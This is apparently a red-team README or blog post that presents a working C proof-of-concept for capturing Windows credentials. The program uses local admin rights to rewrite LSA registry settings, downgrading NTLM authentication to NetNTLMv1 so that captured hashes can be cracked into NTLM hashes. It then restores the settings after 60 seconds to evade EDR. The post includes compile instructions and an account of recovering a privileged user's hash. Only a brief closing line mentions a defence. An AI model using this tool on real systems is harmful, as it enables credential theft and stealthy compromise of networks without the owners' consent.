/NTLM-Downgrade-Exploit

A proof-of-concept tool for downgrading NTLM authentication from NetNTLMv2 to NetNTLMv1, enabling hash capture and recovery on Windows systems with local admin rights. Includes integrated features for stealthy exploitation and registry restoration.

LeakedWallpaper Tool with NTLM Downgrade


Recently, Misha (http://t.me/Michaelzhm) released the LeakedWallpaper tool (https://github.com/MzHmO/LeakedWallpaper), and I’ve already had the chance to use it on a project. Everything worked perfectly! But why do we need the NetNTLMv2 hash? Let’s explore how we can enhance this technique when dealing with a strict EDR (Endpoint Detection and Response) but with local admin rights.

With local admin rights, you can manipulate registry keys to downgrade NTLM authentication to NetNTLMv1 and obtain a hash that can be restored to an NTLM hash regardless of the user's password complexity (https://t.me/RedTeambro/293). To achieve this, I wrote a small program that backs up the current registry settings, downgrades the authentication, and then restores everything back after 60 seconds.

#include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <stdint.h>
#include <unistd.h> // for sleep function

void GetRegKey(const char* path, const char* key, DWORD* oldValue) {
    HKEY hKey;
    DWORD value;
    DWORD valueSize = sizeof(DWORD);

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        RegQueryValueEx(hKey, key, NULL, NULL, (LPBYTE)&value, &valueSize);
        RegCloseKey(hKey);
        *oldValue = value;
    } else {
        printf("Error reading registry key.\n");
    }
}

void SetRegKey(const char* path, const char* key, DWORD newValue) {
    HKEY hKey;

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
        RegSetValueEx(hKey, key, 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD));
        RegCloseKey(hKey);
    } else {
        printf("Error writing registry key.\n");
    }
}

void ExtendedNTLMDowngrade(DWORD* oldValue_LMCompatibilityLevel, DWORD* oldValue_NtlmMinClientSec, DWORD* oldValue_RestrictSendingNTLMTraffic) {
    GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2);

    GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912);

    GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0);
}

void NTLMRestore(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD oldValue_RestrictSendingNTLMTraffic) {
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}

int main() {
    DWORD oldValue_LMCompatibilityLevel = 0;
    DWORD oldValue_NtlmMinClientSec = 0;
    DWORD oldValue_RestrictSendingNTLMTraffic = 0;

    ExtendedNTLMDowngrade(&oldValue_LMCompatibilityLevel, &oldValue_NtlmMinClientSec, &oldValue_RestrictSendingNTLMTraffic);

    // Delay for 60 seconds
    sleep(60);

    NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);

    return 0;
}

Compile the code with:

x86_64-w64-mingw32-gcc -o ntlm.exe ntlm.c

As a result, I was able to obtain the NetNTLMv1 hash of a privileged user's non-brute-forceable password and recover the NTLM hash within 10 hours. Profit!

Alternatively, for the laziest, we've added the -downgrade flag directly into the LeakedWallpaper tool (https://github.com/MzHmO/LeakedWallpaper/commit/d6e3cdda0576e902f5e5eebde5fe741d099aa19f).

P.S. Don't forget to add privileged accounts to the "Protected Users" group for added security.